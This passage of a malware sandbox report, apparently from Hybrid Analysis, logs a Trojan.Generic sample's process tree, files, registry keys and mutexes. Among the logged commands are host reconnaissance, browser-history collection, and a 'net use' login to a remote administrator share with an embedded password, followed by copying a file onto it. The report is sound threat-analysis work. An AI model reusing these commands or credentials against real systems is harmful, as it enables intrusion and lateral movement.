\"%TEMP%\\\\temp\\res.ip\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00565482-00004572","uid":"00566295-00002628"},{"pid":2484,"ppid":2628,"name":"ipconfig.exe","command_line":"ipconfig /all","sha256":"c0e3087d87c84776fe7ffca768a0793c02d28e34a821f0c9da32339af8e7e6a6","normalized_path":"%WINDIR%\\System32\\ipconfig.exe","parent_uid":"00566295-00002628","uid":"00566314-00002484"},{"pid":4476,"ppid":4572,"name":"cmd.exe","command_line":"/c tasklist > \"%TEMP%\\\\temp\\task.list\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00565482-00004572","uid":"00566308-00004476"},{"pid":4520,"ppid":4476,"name":"tasklist.exe","command_line":"","sha256":"ad3e811249da750d80f2762c3aeb403780c1b69d05911e3c9950a7daed9e6670","normalized_path":"%WINDIR%\\System32\\tasklist.exe","parent_uid":"00566308-00004476","uid":"00566322-00004520"},{"pid":4188,"ppid":4572,"name":"cmd.exe","command_line":"/c netstat -naop tcp > \"%TEMP%\\\\temp\\netstat.res\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00565482-00004572","uid":"00566314-00004188"},{"pid":4196,"ppid":4188,"name":"NETSTAT.EXE","command_line":"netstat -naop tcp","sha256":"986f524f38b973531002dceb17414bf8c691b60fb0ea2e4c53c3c7bd3f9ee54e","normalized_path":"%WINDIR%\\System32\\NETSTAT.EXE","parent_uid":"00566314-00004188","uid":"00566333-00004196"},{"pid":3944,"ppid":4572,"name":"cmd.exe","command_line":"/c netsh interface ip show config > \"%TEMP%\\\\temp\\netsh.res\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00565482-00004572","uid":"00566320-00003944"},{"pid":4208,"ppid":3944,"name":"netsh.exe","command_line":"netsh interface ip show config","sha256":"661f5d4ce4f0a6cb32669a43ce5deec6d5a9e19b2387f22c5012405e92169943","normalized_path":"%WINDIR%\\System32\\netsh.exe","parent_uid":"00566320-00003944","uid":"00566335-00004208"},{"pid":2060,"ppid":4572,"name":"cmd.exe","command_line":"/c net use \\\\10.38.1.35\\C$ su.controller5kk /user:KKNPP\\administrator","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00565482-00004572","uid":"00575954-00002060"},{"pid":3476,"ppid":2060,"name":"net.exe","command_line":"net use \\\\10.38.1.35\\C$ su.controller5kk /user:KKNPP\\administrator","sha256":"d468e6b1b79555ac8bce0300942fd479689eb8f159f3a399848d3bf9b9990a56","normalized_path":"%WINDIR%\\System32\\net.exe","parent_uid":"00575954-00002060","uid":"00575958-00003476"},{"pid":5432,"ppid":4572,"name":"cmd.exe","command_line":"/c move /y %TEMP%\\\\~948E30C5MT.tmp \\\\10.38.1.35\\C$\\Windows\\Temp\\MpLogs\\","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00565482-00004572","uid":"00576020-00005432"},{"pid":5364,"ppid":4572,"name":"cmd.exe","command_line":"/c net use \\\\10.38.1.35\\C$ /delete","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00565482-00004572","uid":"00576213-00005364"},{"pid":5376,"ppid":5364,"name":"net.exe","command_line":"net use \\\\10.38.1.35\\C$ /delete","sha256":"d468e6b1b79555ac8bce0300942fd479689eb8f159f3a399848d3bf9b9990a56","normalized_path":"%WINDIR%\\System32\\net.exe","parent_uid":"00576213-00005364","uid":"00576218-00005376"},{"pid":5452,"ppid":4572,"name":"cmd.exe","command_line":"/c ping -n 3 127.0.0.1 >NUL & echo EEEE > \"\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00565482-00004572","uid":"00576215-00005452"},{"pid":5528,"ppid":5452,"name":"PING.EXE","command_line":"ping -n 3 127.0.0.1","sha256":"4ca10dba7ff487fdb3f1362a3681d7d929f5aa1262cdfd31b04c30826983fb1d","normalized_path":"%WINDIR%\\System32\\PING.EXE","parent_uid":"00576215-00005452","uid":"00576229-00005528"}],"all_imported_dlls":["api-ms-win-downlevel-ole32-l1-1-0.dll","wtsapi32.dll","dnsapi.dll","wship6.dll","bcryptprimitives.dll","bcrypt.dll","nci.dll","netmsg.dll","FWPUCLNT.DLL","rasadhlp.dll","gdi32.dll","comdlg32.dll","api-ms-win-downlevel-user32-l1-1-0.dll","rpcss.dll","WSHTCPIP.DLL","wbemprox.dll","ntdll.dll","sspicli.dll","devobj.dll","winbrand.dll","winsta.dll","hnetmon.dll","msasn1.dll","authfwcfg.dll","setupapi.dll","urlmon.dll","cfgmgr32.dll","wlanhlp.dll","winipsec.dll","nettrace.dll","p2pnetsh.dll","davclnt.dll","dhcpcsvc.dll","usp10.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","certcli.dll","dot3cfg.dll","drprov.dll","srvcli.dll","samcli.dll","fastprox.dll","winhttp.dll","ws2help.dll","tdh.dll","version.dll","wevtapi.dll","ndfapi.dll","davhlpr.dll","nlaapi.dll","dbghelp.dll","rasmontr.dll","mprapi.dll","eappprxy.dll","rpcrt4.dll","framedynos.dll","wbemcomn.dll","netshell.dll","wwapi.dll","clbcatq.dll","msvcrt.dll","mswsock.dll","wbemsvc.dll","dot3api.dll","apphelp.dll","imm32.dll","wininet.dll","p2pcollab.dll","wlancfg.dll","slc.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","inetmib1.dll","rpcnsh.dll","onex.dll","wlanapi.dll","ntlanman.dll","nsi.dll","nshipsec.dll","cryptsp.dll","wmiutils.dll","odbc32.dll","httpapi.dll","iertutil.dll","uxtheme.dll","secur32.dll","snmpapi.dll","wwancfg.dll","odbcint.dll","fwcfg.dll","logoncli.dll","msctf.dll","QUTIL.DLL","netapi32.dll","nshhttp.dll","adsldpc.dll","wlanutil.dll","browcli.dll","cscapi.dll","ws2_32.dll","NapiNSP.dll","comctl32.dll","oleaut32.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","userenv.dll","profapi.dll","gpapi.dll","wshelper.dll","shell32.dll","FirewallAPI.dll","eappcfg.dll","winnsi.dll","netiohlp.dll","webio.dll","PeerDistSh.dll","dhcpcmonitor.dll","DHCPQEC.DLL","wshqos.dll","NAPMONTR.DLL","ole32.dll","IPHLPAPI.DLL","pnrpnsp.dll","ntdsapi.dll","ifmon.dll","polstore.dll","lpk.dll","Wldap32.dll","dhcpcsvc6.dll","netutils.dll","WcnNetsh.dll","KernelBase.dll","advapi32.dll","rsaenh.dll","mpr.dll","atl.dll","kernel32.dll","oledlg.dll","crypt32.dll","RpcRtRemote.dll","activeds.dll","mfc42u.dll","user32.dll","shlwapi.dll","api-ms-win-downlevel-version-l1-1-0.dll","normaliz.dll","cryptbase.dll","ntmarta.dll","QAGENT.DLL","rasman.dll","sechost.dll","wkscli.dll","credui.dll","nshwfp.dll","P2P.dll","propsys.dll","msvcr100.dll","whhelper.dll","rasapi32.dll","devrtl.dll","wdi.dll","winrnr.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"netsh.res","sha256":"ffa7d40caa88fe9bce47d8ee20b451875b78b8cda19970dab22df0527beafb0f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"netstat.res","sha256":"9917742496c900e21157a4abcb642526b19aa44e40a375c22d73278590c89da8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"res.ip","sha256":"cc18c16d0b81486a88859cc485627bf9acd87da4ed03162e9dc967ee7752fcfc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"task.list","sha256":"9ad73260843513190d4a9958c52a3fa013f7dccb9765851a4ea78011ef6a27f6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"~948E30C5MT.tmp","sha256":"1349a25351c120e972b12f3eb6c12724e43bab1d683da811d1446732830be2b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"c.tmp~","sha256":"1d0ba8b0c55481e5be7e9a7c0cdcd94fa439764e37b38d6c0c86031f03d41595","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"browser.his","sha256":"b694f33d2721276322480e49f150576c2a7c45e2b41ff4f6e2e6061d292cfe83","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"c.tmp","sha256":"8b59a79a7476f8fddf7d26d515fdc2a8ad5211d506f53abd25814a4f1ad6cdd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"z.tmp","sha256":"f23795b40d3ab8ca6e23e8802aa16da6dcfa877ee40fef87e3d0917bf2982f96","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"z.tmp~","sha256":"ae2ca398f7c83ebf604aaa065dafa79879d7f418a9c4d65f03544a603b1ab76b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]}],"files_written":[{"path":"%TEMP%\\temp\\res.ip","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\en-US\\ipconfig.exe.mui","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%TEMP%\\temp\\task.list","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\tasklist.exe","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\en-US\\tasklist.exe.mui","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\en-US\\netstat.exe.mui","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\wmiutils.dll.mui","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\en-US\\p2pnetsh.dll.mui","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"C:\\test.exe","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001f.db","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\g4h7miqt.default\\places.sqlite","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%TEMP%\\temp\\browser.his","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%TEMP%\\temp\\netstat.res","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%TEMP%\\temp\\netsh.res","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\en-US\\netsh.exe.mui","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\en-US\\odbcint.dll.mui","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\en-US\\MFC42u.dll.mui","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\en-US\\fwcfg.dll.mui","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\en-US\\netiohlp.dll.mui","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%TEMP%\\temp\\192.168.240.32\\c.tmp~","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\en-US\\ping.exe.mui","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"\\.\\.","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"path":"PIPE\\DAV RPC SERVICE","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\NAPAGENT\\SHAS\\","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\NAPAGENT\\QECS\\","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\RFC1156AGENT\\CURRENTVERSION\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\NAPAGENT\\LOCALCONFIG\\","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\NAPAGENT\\LOCALCONFIG\\ENROLL\\HCSGROUPS\\","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\3a886eb8-fe40-4d0a-b78b-9e0bcb683fb7","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"Global\\3a886eb8-fe40-4d0a-b78b-9e0bcb683fb7","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]}]}},"report_ids":{"sandbox_job_ids":["5db729810288386045cf484b"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 791c59a0d645… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 791c59a0d645…. Malware family: Trojan.Generic. Threat score 100/100. 21/27 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/791c59a0d6456ac1d9976fe82dc6b13f3e5980c6cfa2fd9d58a3cc849755ea9f"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 791c59a0d645… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 791c59a0d645…. Malware family: Trojan.Generic. Threat score 100/100. 21/27 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/791c59a0d6456ac1d9976fe82dc6b13f3e5980c6cfa2fd9d58a3cc849755ea9f"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 791c59a0d645… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 791c59a0d645…. Malware family: Trojan.Generic. Threat score 100/100. 21/27 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L30","11",{}]]